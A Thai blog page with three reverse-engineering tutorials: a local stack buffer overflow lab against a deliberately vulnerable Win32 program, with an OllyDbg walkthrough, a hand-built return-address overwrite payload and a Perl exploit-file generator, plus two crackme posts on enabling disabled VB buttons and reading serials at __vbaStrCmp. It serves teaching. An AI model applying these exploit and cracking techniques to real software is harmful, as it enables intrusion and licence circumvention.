« Posts under Kungfu

basic buffer overflow

ตัวอย่างต่อไปนี้จะเป็นการทำ local buffer overflow บนเครื่องตัวเองเพื่อทำการศึกษาพฤติกรรมการทำงานของ buffer overflow

[+] ก่อนอื่นคงต้องอธิบายก่อนว่า buffer overflow คืออะไร
buffer overflow คือการทำให้ buffer ในการเก็บข้อมูลของโปรแกรมมีการล้นออกมา (ส่วนจะล้นออกมาแล้วเป็นยังไงนั่นอีกเรื่อง ซึ่งจุดนี้เป็นจุดที่เราหาประโยชน์จากการทำ buffer overflow ได้)

[+] โดยในกรณีศึกษานี้ เราจะมี code ของตัวโปรแกรมที่เราจะทำ buffer overflow เพื่อประกอบความเข้าใจดัง code ด้านล่าง

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
BOOL Rfile(HWND mhWnd)
{
    HANDLE hfile = (HANDLE) - 1;
    DWORD nbt = 0;
 
    // buffer size = 10
    TCHAR buf[10];
 
    hfile = CreateFile("info.txt",
        GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,
        (LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,0,NULL);
 
    // แสดง error เมื่อไม่พบไฟล์
 
    if(hfile == (HANDLE)-1)
    {
        MessageBox (mhWnd,"ERR: CreateFile ","Error 01",MB_OK);
        return 1;
    }
 
    ZeroMemory(buf,10);
 
    // ไม่มีการตรวจสอบข้อมูล buffer ก่อนทำ ReadFile()
 
    ReadFile(hfile,(LPVOID)buf,(DWORD)GetFileSize(hfile,NULL),&nbt, 
        (LPOVERLAPPED)NULL);
 
    SendMessage(mEdit,WM_SETTEXT,0,(LPARAM)(LPCTSTR)buf);
    return 0;
}

[+] แต่ในชีวิตจริงไม่มีโปรแกรมไหนหรอกครับที่เราจะเห็น source code แบบข้างต้นนี้ เอาละมาเริ่มด้วยการเปิด ollydbg แล้วเลือกโปรแกรมที่มีช่องโหว่นี้ขึ้นมา (basic buffer overflow.zip)

entry point

[+] จากนั้น search หา api ที่ใช้สำหรับอ่าน file

search module menu

[+] จะปรากฏหน้าต่าง reference window ขึ้นมาให้ทำการหา kernel32.ReadFile แล้ว set breakpoint

breakpoint at kernel32.Readfile

[+] run (f9) เพื่อให้โปรแกรมทำงาน

basic buffer overflow

[+] สร้างไฟล์ info.txt ขึ้นมา แล้วพิมพ์ตัวอักษรลงไปแล้วนำ info.txt ไปวางไว้ใน path เดียวกับ basic buffer overflow.exe

info.txt

[+] สั่ง read file บนโปรแกรม basic buffer overflow.exe โปรแกรมจะถูก ollydbg break ดังรูป

kernel32.ReadFile in disassembler window

[+] จาก รูปจะเห็นว่า ค่า ecx เก็บ address ที่ชี้ไปยัง buffer ที่เอาไว้รับข้อมูลของโปรแกรมให้ทำการ dump ค่าของ ecx ลง memory window เพื่อติดตามดูค่า

follow in dump at ecxdump window at ecx

[+] step over (f8) จนกระทั่งผ่าน address 0x004017be เราจะพบว่าที่ memory window จะมีข้อมูลของ info.txt อยู่

dump window at ecx contain info.txt data

[+] จากนั้น step over (f8) ไปจนกระทั่งถึงบรรทัดที่มี command “retn” ให้เราสังเกตุที่ค่า esp เราจะพบว่า ที่บรรทัดนี้ esp จะเก็บค่า address ที่จะไปทำงานต่อหลังจากผ่านบรรทัดคำสั่ง “retn”

return function

[+] เห็น ข้อมูลใน memory windows ชักเอะใจอะไรไม๊ครับ ถ้าสมมติว่าถ้าเราใส่ข้อมูลใน info.txt ให้มากขึ้นละ มากจนกระทั่ง มันมาทับข้อมูลที่อยู่ใน address 0012fad0 จะเกิดอะไรขึ้น ว่าแล้วเราก็แก้ไขข้อมูลของ info.txt เป็นดังนี้ (จะเป็นอย่างอื่นก็ได้นะ ไม่ได้ว่าอะไร ไม่เกี่ยวกับ tutorial แต่อยากให้รู้ไว้ ^^”)

INFO_TXT
Edkungnarak000000000000011110000

[+] run program ใหม่อีกรอบ แล้วรันจนกระทั่งถึง address 0x004017fb ซึ่งเป็นคำสั่ง retn จะเป็นดังรูป

return 0x31313131

[+] เนื่อง จากข้อมูลใน info.txt มีความยาวมากเกินกว่าที่ buffer รองรับ จึงทำให้ data ที่อยู่ใน info.txt ล้นออกมาทับกับข้อมูลส่วนอื่น จากนั้น ให้คิดต่อว่าจะเกิดอะไรขึ้นถ้าที่แทนที่จะใส่ value ของการ return เป็นค่า 0×31313131 ให้กลายเป็น address ที่เก็บ code คำสั่งของเราเอาไว้

[+] จากข้อมูลที่ได้มา เราสามารถสร้างรูปแบบข้อมูลใน info.txtง่ายๆ ได้ดังนี้

STACK
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;   nop จนกระทั่งถึง Byte ที่ 25 ซึ่ง เป็น byte ที่เก็บ return address
0xE0      ;   ---------------
0xFA      ;         |   เปลี่ยน return address เป็น 0012FAE0
0x12      ;         |
0x00      ;   ---------------
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x6A      ;   0012FAE0:   push 0    >>   message box style
0x00      ;
0x6A      ;         push 0   >>   message box title
0x00      ;
0x68      ;         push 0012FB00   >>   message box text
0x00      ;
0xFB      ;
0x12      ;
0x00      ;
0x6A      ;         push 0   >>   windows handle
0x00      ;
0xFF      ;   ---------------
0x15      ;         |   call user32.MessageBoxA
0x14      ;         |
0x63      ;         |
0x42      ;         |
0x00      ;   ---------------
0x00      ;   null terminating
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x90      ;
0x45      ;   'E'------------      0012FB00
0x64      ;   'd'      |   “Edkungnarak” String
0x6B      ;   'k'      |
0x75      ;   'u'      |
0x6E      ;   'n'      |
0x67      ;   'g'      |
0x6E      ;   'n'      |
0x61      ;   'a'      |
0x72      ;   'r'      |
0x61      ;   'a'      |
0x6B      ;   'k'------------
0x00      ;   End String

[+] แต่ ว่าเราไม่สามารถใส่ข้อมูลเช่น 0×00 หรือ 0×90 ต่างๆเหล่านี้ลงไปใน text editor ได้เนื่องจาก โปรแกรมเหล่านี้รองรับแต่ การป้อนตัวอักษรเท่านั้น ดังนั้นให้เราเปิดด้วยโปรแกรม hxd แล้วทำการเซฟข้อมูลชื่อ info.txt ดังรูป

info.txt on hex editor

[+] จาก นั้น run program ใหม่อีกครั้ง จนกระทั่งถึง address 0x004017fb ซึ่งเป็นคำสั่ง retn อีกครั้งหนึ่ง จะเห็นได้ว่า คราวนี้ return address จะมีค่าเป็น 0x0012fae0

return to stack

[+] step over (f8) อีกครั้ง คราวนี้โปรแกรมจะ return ไปยัง address 0012fae0 ซึ่งเราได้เขียนแทรก code ลงไปแล้ว

my code in stack

[+] เมื่อสั่ง run (f9) อีกครั้ง ผลจะออกมาดังรูป

run code in stack

[+] สำหรับ คนที่ไม่ต้องการใช้ hex editor ในการทำ exploit code อาจจะทำการเขียน shellcode ลงไปแทนก็ได้ครับ ซึ่งขอยกตัวอย่างด้วยการใช้ perl code ละกัน

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!C:/Perl/bin/perl.exe -w
 
$junkcode_1 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
$retn = "\xe0\xfa\x12\x00";
$junkcode_2 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
$shellcode = "\x6a\x00\x6a\x00\x68\x00\xfb\x12\x00\x6a\x00\xff\x15\x14".
"\x63\x42\x00\x00";
$junkcode_3 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
$string_ref = "\x45\x64\x6b\x75\x6e\x67\x6e\x61\x72\x61\x6b\x00";
$exploitcode = $junkcode_1.$retn.$junkcode_2.$shellcode.$junkcode_3.$string_ref;
 
open(FILE, ">info.txt");
print FILE "$exploitcode";
close(FILE);

visual basic crack 06 – review veoveo tool

จริงๆ แล้วบทความนี้ก็ไม่มีอะไรมาก แค่อยากแนะนำ tool ตัวนึงให้ใช้ โดย tool ตัวนี้มีชื่อว่า veoveo ส่วนความสามารถเราจะได้เห็นกันต่อจากนี้ ^^
หากจำกันได้ใน visual basic crack 01, visual basic crack 03 จะเห็นได้ว่าการทำ enable menu, button นั้นทำไม่ยากเลย แต่… มันก็ยังหลายขั้นตอนอยู่ดี
คราวนี้ หากเราลองใช้ tool ทุกอย่างมันจะง่ายขึ้น เพียงแค่คลิก ทุกอย่างจะอยู่ในมือคุณ
visual basic crack 01 disable buttonveoveo menuvisual basic crack 01 enable button

visual basic crack 05 – string compare format

ก่อนเริ่มบทความนี้ผมอยากให้ย้อนระลึกไปถึง code visual basic (ที่เขียนแสนจะง่าย -> คนทั้งโลก confirm) โดย code ที่ผมจะพูดถึงก็คือ code ในการเปรียบเทียบ string ใน visual basic

code vb ในสมมติฐาน

VB
1
2
3
4
5
6
7
dim szSerial = GetSerial()
dim szSerial_in = password.Text
if szSerial == szSerial_in then
    MessageBox("Success")
else
    MessageBox("Fail")
end

[+] ดูๆ แล้วมันก็ธรรมด๊า ธรรมดา เป็น code การเปรียบเทียบ string ทั่วๆ ไปนี่เอง แต่เดี๋ยวก่อนเราลองแปลงเป็นภาษา assembly กันซะหน่อยดีกว่า

code assembly แบบคร่าวๆ

ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
call GetSerial ; เรียกฟังก์ชันหาค่า serial โดยผลลัพธ์ที่ได้จะอยู่ใน eax
mov esi,eax ; เอาผลลัพธ์ของ GetSerial ไปเก็บใน esi
call msvbvm60.__vbaObjSet ; ทำการเรียก object ของ textbox "Password"
mov edi,eax ; เอา address ของ object "Password" ไปเก็บใน edi
push buffer ; ใส่ address ของ buffer เพื่อเป็น output ของฟังก์ชันด้านล่าง
push edi ; ใส่ address ของ object "Password" เป็น input ของฟังก์ชันด้านล่าง
mov ecx,[edi]
call [ecx+0xa0] ; เรียกฟังก์ชัน get ค่าที่ถูกเก็บใน object "Password" 
                ; (get password ที่กรอกลงมานั่นเอง) โดยค่าที่ได้จะถูกเก็บลงใน buffer
push buffer
push esi
call msvbvm60.__vbaStrCmp ; ทำการเปรียบเทียบระหว่าง serial กับ serial_in
jne FAIL_LABEL
push "Success" ; แสดงข้อความเมื่อมีค่าเท่ากัน
jmp CALL_MSGBOX
FAIL_LABEL:
push "Fail" ; แสดงข้อความเมื่อมีค่าไม่เท่ากัน
CALL_MSGBOX:
call msvbvm60.__rtcMsgBox ; เรียก msvbvm60.__rtcMsgBox ซึ่งเป็น api ของ visual basic 
                          ; ที่ทำหน้าที่แสดง message box

ปล. msvbvm60.__rtcMsgBox จริงๆ มี parameter 5 ตัว แต่ผมขอละไว้ในฐานที่เข้าใจ เพราะขี้เกียจอธิบาย

[+] ส่วน อื่นยังไม่ต้องสนใจผมเขียนไปงั้นๆ แหละ ไม่เกี่ยวกับบทความนี้ แต่ที่ผมสนใจจริงๆ คือบรรทัดที่มีการ call msvbvm60.__vbaStrCmp นี่ต่างหากละ

[+] จะพบว่าการเปรียบเทียบ string จะถูกนำเอามาใช้บ่อยมากในการเปรียบเทียบ serial ดังนั้นจะเกิดอะไรขึ้นถ้าเรา breakpoint เมื่อมีการ call msvbvm60 .__vbaStrCmp

[+] ว่าแล้วก็เรียกใช้งาน visual basic crack 05.exe ของเรากันเลย (ผมจำไม่ได้ซะแล้วว่า ไฟล์นี้ใครส่งมาให้ผม ดังนั้นผมเลยไม่ได้ลงให้นะครับว่าของใคร ถ้าอยากให้ใส่เครดิตช่วย comment แสดงความเป็นเจ้าของด้วยนะครับ)
credit by unicon
[+]

[+] จากนั้นก็ลอง set breakpoint ซะ แล้วระบุ input ลงไป โดยผมเองระบุเป็น “1111″ ollydbg จะ break ดังรูป

vbastrcmp on ollydbgserial phishing on debug register

[+] จาก รูป debug register คงไม่ต้องบอกอะไรแล้วมั้ง ว่าจะเกิดอะไรขึ้น หากมีการเปรียบเทียบ string serial แบบบ้านๆ อย่างนี้ต่อไป (หุหุ จบดีกว่า ว่าแต่ผมคงไม่ได้ชี้โพรงให้กระรอกใช่มะ)